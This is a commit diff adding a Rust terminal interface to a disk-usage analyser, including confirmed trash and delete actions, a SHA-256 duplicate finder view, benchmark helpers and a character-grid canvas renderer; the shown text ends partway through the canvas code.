rust: tui (canvas renderer, views, modals, crossterm event loop)
Port of internal/tui. Bubble Tea's message loop is replaced by a crossterm input thread, timers and background commands feeding one loop; the frame cache, canvas, colour quantisation, LOD treemap, selection persistence and modal architecture are kept. Frames are diffed against the previous one per line and per style run. Exposes tui::bench::BenchModel and big_tree for benchmarks.
This commit is contained in:
@@ -12,6 +12,7 @@ pub mod scan;
|
|||||||
pub mod snapshot;
|
pub mod snapshot;
|
||||||
pub mod textutil;
|
pub mod textutil;
|
||||||
pub mod treemap;
|
pub mod treemap;
|
||||||
|
pub mod tui;
|
||||||
|
|
||||||
/// Boxed error used across mode boundaries.
|
/// Boxed error used across mode boundaries.
|
||||||
pub type Error = Box<dyn std::error::Error + Send + Sync>;
|
pub type Error = Box<dyn std::error::Error + Send + Sync>;
|
||||||
|
|||||||
@@ -0,0 +1,268 @@
|
|||||||
|
//! Mutating and long-running actions: trash/delete and duplicate search.
|
||||||
|
|
||||||
|
use super::canvas::{Canvas, Style, BOLD};
|
||||||
|
use super::modals::{new_info_modal, ConfirmModal};
|
||||||
|
use super::model::{Cmd, Model, Msg};
|
||||||
|
use super::san;
|
||||||
|
use super::table::{col, Table, TableRow};
|
||||||
|
use crate::cancel::Cancel;
|
||||||
|
use crate::duplicate::{self, Finder};
|
||||||
|
use crate::inventory::{Delta, NodeId, Tree, FLAG_DELETED, NO_NODE};
|
||||||
|
use crate::platform::{self, Expect};
|
||||||
|
use crate::textutil;
|
||||||
|
use crate::treemap::Rect;
|
||||||
|
use std::sync::{Arc, RwLock};
|
||||||
|
|
||||||
|
// ---- Trash ---------------------------------------------------------------
|
||||||
|
|
||||||
|
impl Model {
|
||||||
|
/// Asks for confirmation before moving the selection to the trash. On a
|
||||||
|
/// headless system (no desktop, so nobody empties the trash and the space
|
||||||
|
/// is never freed) it deletes permanently instead, after a confirmation
|
||||||
|
/// that says so.
|
||||||
|
pub fn request_trash(&mut self, tr: &Tree) -> Cmd {
|
||||||
|
if self.opts.read_only {
|
||||||
|
return self.warn("Read-only mode: modifying actions are disabled");
|
||||||
|
}
|
||||||
|
if self.snapshot {
|
||||||
|
return self.warn("Snapshot view: nothing to delete on the live filesystem");
|
||||||
|
}
|
||||||
|
if self.scanning {
|
||||||
|
return self.warn("Wait for the scan to finish before deleting items");
|
||||||
|
}
|
||||||
|
let id = self.selected_node(tr);
|
||||||
|
if id == NO_NODE || id == 0 {
|
||||||
|
return Cmd::None;
|
||||||
|
}
|
||||||
|
let n = tr.node(id);
|
||||||
|
let path = tr.path(id);
|
||||||
|
let want = Expect { uid: n.uid, mode: n.mode };
|
||||||
|
let what = if n.is_dir() { format!("directory with {} files", textutil::count(n.files as i64)) } else { "file".into() };
|
||||||
|
let mut body = vec![san(&tr.path_bytes(id)), String::new(), format!("{what} · {}", textutil::size(n.total(self.size_mode))), String::new()];
|
||||||
|
if platform::headless() {
|
||||||
|
body.push("This is a headless system (no X or Wayland display), so there is no trash:".into());
|
||||||
|
body.push("it will be permanently deleted and cannot be recovered.".into());
|
||||||
|
self.open_modal(Box::new(ConfirmModal {
|
||||||
|
ttl: "Delete permanently? Are you sure?".into(),
|
||||||
|
body,
|
||||||
|
yes: "delete permanently".into(),
|
||||||
|
on_yes: Some(Box::new(move |m: &mut Model| {
|
||||||
|
let t = m.tree.clone();
|
||||||
|
Cmd::run(move || {
|
||||||
|
let err = platform::delete(&path, want).err().map(|e| e.to_string());
|
||||||
|
Msg::TrashDone { tree: t, id, err, done: "Deleted".into() }
|
||||||
|
})
|
||||||
|
})),
|
||||||
|
}));
|
||||||
|
return Cmd::None;
|
||||||
|
}
|
||||||
|
body.push(format!("It will be moved to the {}, not permanently deleted.", platform::TRASH_NAME));
|
||||||
|
self.open_modal(Box::new(ConfirmModal {
|
||||||
|
ttl: "Move to trash?".into(),
|
||||||
|
body,
|
||||||
|
yes: format!("move to {}", platform::TRASH_NAME),
|
||||||
|
on_yes: Some(Box::new(move |m: &mut Model| {
|
||||||
|
let t = m.tree.clone();
|
||||||
|
Cmd::run(move || {
|
||||||
|
let err = platform::trash(&path, want).err().map(|e| e.to_string());
|
||||||
|
Msg::TrashDone { tree: t, id, err, done: format!("Moved to {}", platform::TRASH_NAME) }
|
||||||
|
})
|
||||||
|
})),
|
||||||
|
}));
|
||||||
|
Cmd::None
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn trash_done(&mut self, tree: Arc<RwLock<Tree>>, id: NodeId, err: Option<String>, done: String) -> Cmd {
|
||||||
|
if let Some(e) = err {
|
||||||
|
return self.warn(format!("Delete failed: {}", textutil::sanitize(&e)));
|
||||||
|
}
|
||||||
|
if !Arc::ptr_eq(&tree, &self.tree) || self.scanning {
|
||||||
|
// A rescan replaced the inventory; the new scan reflects the change.
|
||||||
|
return self.info(done);
|
||||||
|
}
|
||||||
|
// The scan has finished, so the UI thread is the tree's only writer.
|
||||||
|
let name = {
|
||||||
|
let mut t = self.tree.write().unwrap();
|
||||||
|
let n = t.node(id).clone();
|
||||||
|
let mut d = Delta { size: -n.tot_size, alloc: -n.tot_alloc, files: -(n.files as i64), dirs: -(n.dirs as i64), ..Default::default() };
|
||||||
|
if n.is_dir() {
|
||||||
|
d.dirs -= 1;
|
||||||
|
if let Some(cs) = t.cat_sizes(id) {
|
||||||
|
for (c, v) in d.cat.iter_mut().zip(cs) {
|
||||||
|
*c = -v;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
d.files -= 1;
|
||||||
|
d.cat[n.cat as usize] = -n.tot_alloc;
|
||||||
|
}
|
||||||
|
t.propagate(n.parent, &d);
|
||||||
|
let nm = t.node_mut(id);
|
||||||
|
nm.flags |= FLAG_DELETED;
|
||||||
|
(nm.tot_size, nm.tot_alloc) = (0, 0);
|
||||||
|
n.name
|
||||||
|
};
|
||||||
|
self.invalidate();
|
||||||
|
self.info(format!("{done}: {}", san(&name)))
|
||||||
|
}
|
||||||
|
|
||||||
|
// ---- Duplicates ----------------------------------------------------------
|
||||||
|
|
||||||
|
pub fn start_duplicates(&mut self) -> Cmd {
|
||||||
|
if self.snapshot {
|
||||||
|
return self.warn("Duplicate detection needs the live filesystem");
|
||||||
|
}
|
||||||
|
if self.scanning {
|
||||||
|
return self.warn("Wait for the scan to finish first");
|
||||||
|
}
|
||||||
|
if self.dups.is_some() {
|
||||||
|
self.ensure_dup_view();
|
||||||
|
return Cmd::None;
|
||||||
|
}
|
||||||
|
self.open_modal(Box::new(ConfirmModal {
|
||||||
|
ttl: "Find duplicate files?".into(),
|
||||||
|
body: vec![
|
||||||
|
"Files are grouped by size, then sampled, then fully hashed with SHA-256.".into(),
|
||||||
|
"Only identical hashes are reported as duplicates.".into(),
|
||||||
|
String::new(),
|
||||||
|
"This reads file contents (it may take a while and can update access times).".into(),
|
||||||
|
],
|
||||||
|
yes: "start".into(),
|
||||||
|
on_yes: Some(Box::new(|m: &mut Model| {
|
||||||
|
let cancel = Cancel::new();
|
||||||
|
let f = Arc::new(Finder::default());
|
||||||
|
m.dups = Some(DupState { running: true, finder: f.clone(), groups: Vec::new(), err: None, cancel: cancel.clone() });
|
||||||
|
m.ensure_dup_view();
|
||||||
|
let t = m.tree.clone();
|
||||||
|
let tick = m.start_ticking();
|
||||||
|
Cmd::batch(vec![
|
||||||
|
tick,
|
||||||
|
Cmd::run(move || {
|
||||||
|
let g = f.find(&cancel, &t, duplicate::Options { min_size: 1, workers: 4 });
|
||||||
|
Msg::DupDone { finder: f, groups: g }
|
||||||
|
}),
|
||||||
|
])
|
||||||
|
})),
|
||||||
|
}));
|
||||||
|
Cmd::None
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn ensure_dup_view(&mut self) {
|
||||||
|
if let Some(i) = self.views.iter().position(|v| matches!(v, super::views::View::Dups(_))) {
|
||||||
|
self.set_view(i);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
self.views.push(super::views::View::Dups(DupView::default()));
|
||||||
|
self.set_view(self.views.len() - 1);
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn dup_done(&mut self, finder: Arc<Finder>, groups: Option<Vec<duplicate::Group>>) -> Cmd {
|
||||||
|
let Some(d) = self.dups.as_mut().filter(|d| Arc::ptr_eq(&d.finder, &finder)) else { return Cmd::None };
|
||||||
|
d.running = false;
|
||||||
|
d.err = groups.is_none().then(|| "cancelled".to_string());
|
||||||
|
d.groups = groups.unwrap_or_default();
|
||||||
|
let (n, wasted) = (d.groups.len(), d.groups.iter().map(|g| g.wasted()).sum::<i64>());
|
||||||
|
self.dirty = true;
|
||||||
|
self.info(format!("Duplicates: {n} verified groups, {} reclaimable", textutil::size(wasted)))
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
pub(crate) struct DupState {
|
||||||
|
pub running: bool,
|
||||||
|
pub finder: Arc<Finder>,
|
||||||
|
pub groups: Vec<duplicate::Group>,
|
||||||
|
pub err: Option<String>,
|
||||||
|
pub cancel: Cancel,
|
||||||
|
}
|
||||||
|
|
||||||
|
#[derive(Default)]
|
||||||
|
pub(crate) struct DupView {
|
||||||
|
pub tb: Table,
|
||||||
|
pub rows: Vec<(usize, NodeId)>, // (group, file); NO_NODE for a group header
|
||||||
|
}
|
||||||
|
|
||||||
|
impl DupView {
|
||||||
|
pub fn paint(&mut self, m: &mut Model, tr: &Tree, cv: &mut Canvas, r: Rect) {
|
||||||
|
let t = m.theme.clone();
|
||||||
|
let Some(d) = &m.dups else {
|
||||||
|
cv.text_centered(r.x, r.y + r.h / 2, r.w, "Press D to search for duplicates", t.muted());
|
||||||
|
return;
|
||||||
|
};
|
||||||
|
if d.running {
|
||||||
|
let p = d.finder.progress();
|
||||||
|
cv.fill(r, " ", t.base());
|
||||||
|
let y = r.y + r.h / 2 - 2;
|
||||||
|
cv.text_centered(r.x, y, r.w, &format!("Finding duplicates — {}…", p.stage), Style::new(t.accent, t.bg).with(BOLD));
|
||||||
|
cv.text_centered(r.x, y + 2, r.w,
|
||||||
|
&format!("{} candidate files in {} size groups", textutil::count(p.candidates), textutil::count(p.candidate_groups)), t.base());
|
||||||
|
if p.bytes_to_hash > 0 {
|
||||||
|
let frac = p.bytes_hashed as f64 / p.bytes_to_hash as f64;
|
||||||
|
let bw = 60.min(r.w - 10);
|
||||||
|
m.paint_bar(cv, r.x + (r.w - bw) / 2, y + 4, bw, frac, t.accent, false);
|
||||||
|
cv.text_centered(r.x, y + 5, r.w,
|
||||||
|
&format!("{} of {} hashed · {} skipped", textutil::size(p.bytes_hashed), textutil::size(p.bytes_to_hash), textutil::count(p.skipped)),
|
||||||
|
t.muted());
|
||||||
|
}
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
self.rows.clear();
|
||||||
|
let mut rows = Vec::new();
|
||||||
|
for (gi, g) in d.groups.iter().enumerate() {
|
||||||
|
self.rows.push((gi, NO_NODE));
|
||||||
|
let hash: String = g.hash[..8].iter().map(|b| format!("{b:02x}")).collect();
|
||||||
|
rows.push(TableRow {
|
||||||
|
cells: vec![textutil::size(g.wasted()), format!("{} × {}", g.files.len(), textutil::size(g.size)),
|
||||||
|
format!("verified identical · sha256 {hash}…")],
|
||||||
|
styles: vec![Some(Style::new(t.warn, t.bg).with(BOLD)), Some(Style::new(t.fg, t.bg).with(BOLD)), Some(Style::new(t.ok, t.bg))],
|
||||||
|
bar: -1.0,
|
||||||
|
..Default::default()
|
||||||
|
});
|
||||||
|
for &id in &g.files {
|
||||||
|
self.rows.push((gi, id));
|
||||||
|
rows.push(TableRow { cells: vec![String::new(), String::new(), format!(" {}", san(&tr.path_bytes(id)))], bar: -1.0, ..Default::default() });
|
||||||
|
}
|
||||||
|
}
|
||||||
|
let mut title = format!("Duplicates — {} groups (Enter details · Space go to)", d.groups.len());
|
||||||
|
if let Some(e) = &d.err {
|
||||||
|
title += &format!(" — stopped: {}", textutil::sanitize(e));
|
||||||
|
}
|
||||||
|
let cols = [col("WASTED", 10, true, false), col("COPIES", 16, false, false), col("", 0, false, false)];
|
||||||
|
self.tb.paint(m, cv, r, &cols, &rows, &title);
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn key(&mut self, m: &mut Model, tr: &Tree, k: &str) -> (bool, Cmd) {
|
||||||
|
if self.tb.key(k, self.rows.len()) {
|
||||||
|
return (true, Cmd::None);
|
||||||
|
}
|
||||||
|
if self.tb.at() < self.rows.len() {
|
||||||
|
let (g, mut id) = self.rows[self.tb.at()];
|
||||||
|
if id == NO_NODE {
|
||||||
|
if let Some(d) = m.dups.as_ref().filter(|d| g < d.groups.len()) {
|
||||||
|
id = d.groups[g].files[0];
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if id != NO_NODE {
|
||||||
|
match k {
|
||||||
|
"enter" => {
|
||||||
|
let md = new_info_modal(m, tr, id);
|
||||||
|
m.open_modal(md);
|
||||||
|
return (true, Cmd::None);
|
||||||
|
}
|
||||||
|
"space" => {
|
||||||
|
m.jump_to(tr, id);
|
||||||
|
return (true, Cmd::None);
|
||||||
|
}
|
||||||
|
"c" | "o" | "d" => m.sel = id as i64,
|
||||||
|
_ => {}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if k == "esc" {
|
||||||
|
if let Some(d) = m.dups.as_ref().filter(|d| d.running) {
|
||||||
|
d.cancel.cancel();
|
||||||
|
return (true, Cmd::None);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
(false, Cmd::None)
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,126 @@
|
|||||||
|
//! Benchmark hooks: the model driven with no terminal, rendering in
|
||||||
|
//! true colour, as the Go benchmarks do.
|
||||||
|
|
||||||
|
use super::model::{Key, Model, Msg, Options, Profile};
|
||||||
|
use crate::cancel::Cancel;
|
||||||
|
use crate::config::Settings;
|
||||||
|
use crate::inventory::{Category, Kind, NodeId, SizeMode, Tree};
|
||||||
|
use std::sync::{Arc, RwLock};
|
||||||
|
|
||||||
|
/// A model with no terminal. Every method that renders returns the frame
|
||||||
|
/// length so the work cannot be optimised away.
|
||||||
|
pub struct BenchModel {
|
||||||
|
m: Model,
|
||||||
|
}
|
||||||
|
|
||||||
|
pub(crate) fn opts_for(tree: Arc<RwLock<Tree>>) -> Options {
|
||||||
|
Options {
|
||||||
|
read_only: false,
|
||||||
|
theme: String::new(),
|
||||||
|
size_mode: SizeMode::Allocated,
|
||||||
|
mouse: false,
|
||||||
|
color: String::new(),
|
||||||
|
save: String::new(),
|
||||||
|
settings: Settings::default(),
|
||||||
|
start: Arc::new(move |_| Ok((None, tree.clone()))),
|
||||||
|
diff: None,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
impl BenchModel {
|
||||||
|
pub fn new(tree: Arc<RwLock<Tree>>, w: u16, h: u16) -> BenchModel {
|
||||||
|
let mut m = Model::new(opts_for(tree.clone()), None, tree, Cancel::new());
|
||||||
|
m.profile = Profile::TrueColor;
|
||||||
|
m.update(Msg::Size(w as i32, h as i32));
|
||||||
|
BenchModel { m }
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Invalidates the data caches and renders: sorting children, LOD
|
||||||
|
/// selection, layout and paint.
|
||||||
|
pub fn cold_frame(&mut self) -> usize {
|
||||||
|
self.m.invalidate();
|
||||||
|
self.m.view().len()
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Resizes and renders (child lists stay cached).
|
||||||
|
pub fn resize(&mut self, w: u16, h: u16) -> usize {
|
||||||
|
self.m.update(Msg::Size(w as i32, h as i32));
|
||||||
|
self.m.view().len()
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Sends a key ("right", "down", "left", "up", …) and renders.
|
||||||
|
pub fn key(&mut self, k: &str) -> usize {
|
||||||
|
self.m.update(Msg::Key(Key::from_name(k)));
|
||||||
|
self.m.view().len()
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Makes the root's child with this name the zoom root.
|
||||||
|
pub fn zoom_to_child_named(&mut self, name: &[u8]) {
|
||||||
|
let t = self.m.tree.clone();
|
||||||
|
let g = t.read().unwrap();
|
||||||
|
if let Some((id, _)) = g.children(0).find(|(_, n)| &*n.name == name) {
|
||||||
|
self.m.zoom = id;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Sets the query and runs the filter synchronously.
|
||||||
|
pub fn apply_filter(&mut self, q: &str) {
|
||||||
|
self.m.search.ed.set(q);
|
||||||
|
let _ = self.m.query_changed();
|
||||||
|
for msg in self.m.apply_filter().run_sync() {
|
||||||
|
self.m.update(msg);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// A small deterministic PRNG (splitmix64).
|
||||||
|
struct Rng(u64);
|
||||||
|
|
||||||
|
impl Rng {
|
||||||
|
fn next(&mut self) -> u64 {
|
||||||
|
self.0 = self.0.wrapping_add(0x9e37_79b9_7f4a_7c15);
|
||||||
|
let mut z = self.0;
|
||||||
|
z = (z ^ (z >> 30)).wrapping_mul(0xbf58_476d_1ce4_e5b9);
|
||||||
|
z = (z ^ (z >> 27)).wrapping_mul(0x94d0_49bb_1331_11eb);
|
||||||
|
z ^ (z >> 31)
|
||||||
|
}
|
||||||
|
/// Uniform in (0, 1].
|
||||||
|
fn unit(&mut self) -> f64 {
|
||||||
|
((self.next() >> 11) + 1) as f64 / (1u64 << 53) as f64
|
||||||
|
}
|
||||||
|
fn exp(&mut self) -> f64 {
|
||||||
|
-self.unit().ln()
|
||||||
|
}
|
||||||
|
fn intn(&mut self, n: u64) -> u64 {
|
||||||
|
self.next() % n
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// ~1M nodes in memory: 200 top-level dirs with 40 subdirectories of 100
|
||||||
|
/// files each, plus one flat directory with 200k files.
|
||||||
|
pub fn big_tree() -> Tree {
|
||||||
|
let mut r = Rng(1);
|
||||||
|
let mut t = Tree::new(b"/big", Kind::Dir);
|
||||||
|
let mut file = |t: &mut Tree, p: NodeId, i: usize| {
|
||||||
|
let id = t.add(p, format!("f{i}.dat").as_bytes(), Kind::File);
|
||||||
|
let n = t.node_mut(id);
|
||||||
|
n.size = (r.exp() * 1e6) as i64;
|
||||||
|
n.alloc = n.size;
|
||||||
|
n.cat = Category::from_u8(r.intn(crate::inventory::NUM_CATEGORIES as u64) as u8);
|
||||||
|
};
|
||||||
|
let flat = t.add(0, b"flat", Kind::Dir);
|
||||||
|
for i in 0..200_000 {
|
||||||
|
file(&mut t, flat, i);
|
||||||
|
}
|
||||||
|
for d in 0..200 {
|
||||||
|
let top = t.add(0, format!("dir{d}").as_bytes(), Kind::Dir);
|
||||||
|
for s in 0..40 {
|
||||||
|
let sub = t.add(top, format!("sub{s}").as_bytes(), Kind::Dir);
|
||||||
|
for f in 0..100 {
|
||||||
|
file(&mut t, sub, f);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
t.recompute();
|
||||||
|
t
|
||||||
|
}
|
||||||
@@ -0,0 +1,360 @@
|
|||||||
|
//! An in-memory cell grid that every view paints into; serialised once per
|
||||||
|
//! frame with minimal SGR changes.
|
||||||
|
|
||||||
|
use super::color256::{quant16, quant256};
|
||||||
|
use crate::textutil;
|
||||||
|
use crate::treemap::Rect;
|
||||||
|
use std::fmt::Write;
|
||||||
|
|
||||||
|
/// 0 for the terminal default, otherwise 0x01RRGGBB.
|
||||||
|
#[derive(Clone, Copy, PartialEq, Eq, Hash, Default, Debug)]
|
||||||
|
pub(crate) struct Color(pub u32);
|
||||||
|
|
||||||
|
/// Builds a colour.
|
||||||
|
pub(crate) const fn rgb(r: u8, g: u8, b: u8) -> Color {
|
||||||
|
Color(1 << 24 | (r as u32) << 16 | (g as u32) << 8 | b as u32)
|
||||||
|
}
|
||||||
|
|
||||||
|
impl Color {
|
||||||
|
/// Parses "#rrggbb".
|
||||||
|
pub fn hex(s: &str) -> Option<Color> {
|
||||||
|
let s = s.strip_prefix('#').unwrap_or(s);
|
||||||
|
if s.len() != 6 || !s.bytes().all(|b| b.is_ascii_hexdigit()) {
|
||||||
|
return None;
|
||||||
|
}
|
||||||
|
u32::from_str_radix(s, 16).ok().map(|v| Color(1 << 24 | v))
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn is_default(self) -> bool {
|
||||||
|
self.0 == 0
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn r(self) -> u8 {
|
||||||
|
(self.0 >> 16) as u8
|
||||||
|
}
|
||||||
|
pub fn g(self) -> u8 {
|
||||||
|
(self.0 >> 8) as u8
|
||||||
|
}
|
||||||
|
pub fn b(self) -> u8 {
|
||||||
|
self.0 as u8
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn comps(self) -> (f64, f64, f64) {
|
||||||
|
(self.r() as f64 / 255.0, self.g() as f64 / 255.0, self.b() as f64 / 255.0)
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Blends c towards o by t (0..1). Default colours are returned as-is.
|
||||||
|
pub fn mix(self, o: Color, t: f64) -> Color {
|
||||||
|
if self.0 == 0 || o.0 == 0 {
|
||||||
|
return self;
|
||||||
|
}
|
||||||
|
let (r1, g1, b1) = self.comps();
|
||||||
|
let (r2, g2, b2) = o.comps();
|
||||||
|
let f = |a: f64, b: f64| ((a + (b - a) * t) * 255.0) as u8;
|
||||||
|
rgb(f(r1, r2), f(g1, g2), f(b1, b2))
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Perceived brightness 0..1.
|
||||||
|
pub fn luma(self) -> f64 {
|
||||||
|
let (r, g, b) = self.comps();
|
||||||
|
0.299 * r + 0.587 * g + 0.114 * b
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Text attribute bit set.
|
||||||
|
pub(crate) type Attr = u8;
|
||||||
|
pub(crate) const BOLD: Attr = 1;
|
||||||
|
pub(crate) const FAINT: Attr = 2;
|
||||||
|
pub(crate) const ITALIC: Attr = 4;
|
||||||
|
pub(crate) const UNDERLINE: Attr = 8;
|
||||||
|
pub(crate) const REVERSE: Attr = 16;
|
||||||
|
|
||||||
|
/// A cell style.
|
||||||
|
#[derive(Clone, Copy, PartialEq, Eq, Default, Debug)]
|
||||||
|
pub(crate) struct Style {
|
||||||
|
pub fg: Color,
|
||||||
|
pub bg: Color,
|
||||||
|
pub attr: Attr,
|
||||||
|
}
|
||||||
|
|
||||||
|
impl Style {
|
||||||
|
pub const fn new(fg: Color, bg: Color) -> Style {
|
||||||
|
Style { fg, bg, attr: 0 }
|
||||||
|
}
|
||||||
|
pub const fn with(self, a: Attr) -> Style {
|
||||||
|
Style { attr: self.attr | a, ..self }
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
const INLINE: usize = 15;
|
||||||
|
const HEAP: u8 = 255;
|
||||||
|
|
||||||
|
/// One grid cell. The cluster is stored inline (n bytes) or, if longer,
|
||||||
|
/// in the canvas side table (n == HEAP, index in the first four bytes).
|
||||||
|
/// n == 0 marks the continuation of a wide cluster.
|
||||||
|
#[derive(Clone, Copy)]
|
||||||
|
struct Cell {
|
||||||
|
g: [u8; INLINE],
|
||||||
|
n: u8,
|
||||||
|
w: u8,
|
||||||
|
st: Style,
|
||||||
|
}
|
||||||
|
|
||||||
|
impl Cell {
|
||||||
|
fn space(st: Style) -> Cell {
|
||||||
|
let mut g = [0; INLINE];
|
||||||
|
g[0] = b' ';
|
||||||
|
Cell { g, n: 1, w: 1, st }
|
||||||
|
}
|
||||||
|
fn is_cont(&self) -> bool {
|
||||||
|
self.n == 0
|
||||||
|
}
|
||||||
|
fn set_space(&mut self) {
|
||||||
|
self.g[0] = b' ';
|
||||||
|
self.n = 1;
|
||||||
|
self.w = 1;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Box glyph sets.
|
||||||
|
#[derive(Clone, Copy)]
|
||||||
|
pub(crate) struct BoxChars {
|
||||||
|
pub h: &'static str,
|
||||||
|
pub v: &'static str,
|
||||||
|
pub tl: &'static str,
|
||||||
|
pub tr: &'static str,
|
||||||
|
pub bl: &'static str,
|
||||||
|
pub br: &'static str,
|
||||||
|
}
|
||||||
|
|
||||||
|
pub(crate) const BOX_LIGHT: BoxChars = BoxChars { h: "─", v: "│", tl: "┌", tr: "┐", bl: "└", br: "┘" };
|
||||||
|
pub(crate) const BOX_ROUND: BoxChars = BoxChars { h: "─", v: "│", tl: "╭", tr: "╮", bl: "╰", br: "╯" };
|
||||||
|
pub(crate) const BOX_DOUBLE: BoxChars = BoxChars { h: "═", v: "║", tl: "╔", tr: "╗", bl: "╚", br: "╝" };
|
||||||
|
pub(crate) const BOX_ASCII: BoxChars = BoxChars { h: "-", v: "|", tl: "+", tr: "+", bl: "+", br: "+" };
|
||||||
|
pub(crate) const BOX_ASCII_SEL: BoxChars = BoxChars { h: "=", v: "#", tl: "#", tr: "#", bl: "#", br: "#" };
|
||||||
|
|
||||||
|
/// Selects how colours are serialised.
|
||||||
|
#[derive(Clone, Copy, PartialEq, Eq, Debug)]
|
||||||
|
pub(crate) enum Depth {
|
||||||
|
True,
|
||||||
|
C256,
|
||||||
|
C16,
|
||||||
|
None, // attributes only
|
||||||
|
}
|
||||||
|
|
||||||
|
/// An in-memory cell grid.
|
||||||
|
pub(crate) struct Canvas {
|
||||||
|
pub w: i32,
|
||||||
|
pub h: i32,
|
||||||
|
c: Vec<Cell>,
|
||||||
|
big: Vec<String>,
|
||||||
|
}
|
||||||
|
|
||||||
|
impl Canvas {
|
||||||
|
/// Creates a canvas filled with spaces in style st.
|
||||||
|
pub fn new(w: i32, h: i32, st: Style) -> Canvas {
|
||||||
|
let (w, h) = (w.max(0), h.max(0));
|
||||||
|
Canvas { w, h, c: vec![Cell::space(st); (w * h) as usize], big: Vec::new() }
|
||||||
|
}
|
||||||
|
|
||||||
|
fn inside(&self, x: i32, y: i32) -> bool {
|
||||||
|
x >= 0 && y >= 0 && x < self.w && y < self.h
|
||||||
|
}
|
||||||
|
|
||||||
|
fn cell_str<'a>(&'a self, c: &'a Cell) -> &'a str {
|
||||||
|
if c.n == HEAP {
|
||||||
|
let i = u32::from_le_bytes([c.g[0], c.g[1], c.g[2], c.g[3]]) as usize;
|
||||||
|
return &self.big[i];
|
||||||
|
}
|
||||||
|
// Only whole UTF-8 clusters are ever stored.
|
||||||
|
std::str::from_utf8(&c.g[..c.n as usize]).unwrap_or("?")
|
||||||
|
}
|
||||||
|
|
||||||
|
fn make(&mut self, s: &str, w: i32, st: Style) -> Cell {
|
||||||
|
let mut g = [0; INLINE];
|
||||||
|
let n = if s.len() <= INLINE {
|
||||||
|
g[..s.len()].copy_from_slice(s.as_bytes());
|
||||||
|
s.len() as u8
|
||||||
|
} else {
|
||||||
|
g[..4].copy_from_slice(&(self.big.len() as u32).to_le_bytes());
|
||||||
|
self.big.push(s.to_string());
|
||||||
|
HEAP
|
||||||
|
};
|
||||||
|
Cell { g, n, w: w as u8, st }
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Writes one cluster of width w at (x, y), repairing any wide cluster
|
||||||
|
/// it overlaps so the grid never holds half a character.
|
||||||
|
fn put(&mut self, x: i32, y: i32, s: &str, w: i32, st: Style) {
|
||||||
|
if !self.inside(x, y) || x + w > self.w {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
let row = (y * self.w) as usize;
|
||||||
|
let (xu, wu, cw) = (x as usize, w as usize, self.w as usize);
|
||||||
|
for i in xu..xu + wu {
|
||||||
|
if self.c[row + i].is_cont() && i > 0 && i == xu {
|
||||||
|
// overwriting the tail of a wide cluster
|
||||||
|
self.c[row + i - 1].set_space();
|
||||||
|
}
|
||||||
|
let c = self.c[row + i];
|
||||||
|
if !c.is_cont() && c.w > 1 && i + 1 < cw && self.c[row + i + 1].is_cont() {
|
||||||
|
// overwriting its head
|
||||||
|
self.c[row + i + 1].set_space();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
self.c[row + xu] = self.make(s, w, st);
|
||||||
|
for i in 1..wu {
|
||||||
|
self.c[row + xu + i] = Cell { g: [0; INLINE], n: 0, w: 0, st };
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Draws s at (x, y), clipped to max_w cells and the canvas. Control
|
||||||
|
/// characters are replaced as a second line of defence (callers sanitise
|
||||||
|
/// untrusted strings first). It returns the number of cells used.
|
||||||
|
pub fn text(&mut self, x: i32, y: i32, s: &str, max_w: i32, st: Style) -> i32 {
|
||||||
|
if y < 0 || y >= self.h {
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
let limit = (x + max_w).min(self.w);
|
||||||
|
let mut cx = x;
|
||||||
|
textutil::clusters(s, |c, w| {
|
||||||
|
let (mut c, mut w) = (c, w as i32);
|
||||||
|
let b = c.as_bytes();
|
||||||
|
if b[0] < 0x20 || b[0] == 0x7f || (b.len() > 1 && b[0] == 0xc2 && b[1] < 0xa0) {
|
||||||
|
(c, w) = ("?", 1);
|
||||||
|
}
|
||||||
|
if cx + w > limit {
|
||||||
|
// A wide cluster that does not fit leaves a blank cell.
|
||||||
|
while cx < limit {
|
||||||
|
if cx >= 0 {
|
||||||
|
self.put(cx, y, " ", 1, st);
|
||||||
|
}
|
||||||
|
cx += 1;
|
||||||
|
}
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
if cx >= 0 {
|
||||||
|
self.put(cx, y, c, w, st);
|
||||||
|
}
|
||||||
|
cx += w;
|
||||||
|
true
|
||||||
|
});
|
||||||
|
cx - x
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Draws s centred within [x, x+w).
|
||||||
|
pub fn text_centered(&mut self, x: i32, y: i32, w: i32, s: &str, st: Style) {
|
||||||
|
let s = textutil::truncate(s, w.max(0) as usize);
|
||||||
|
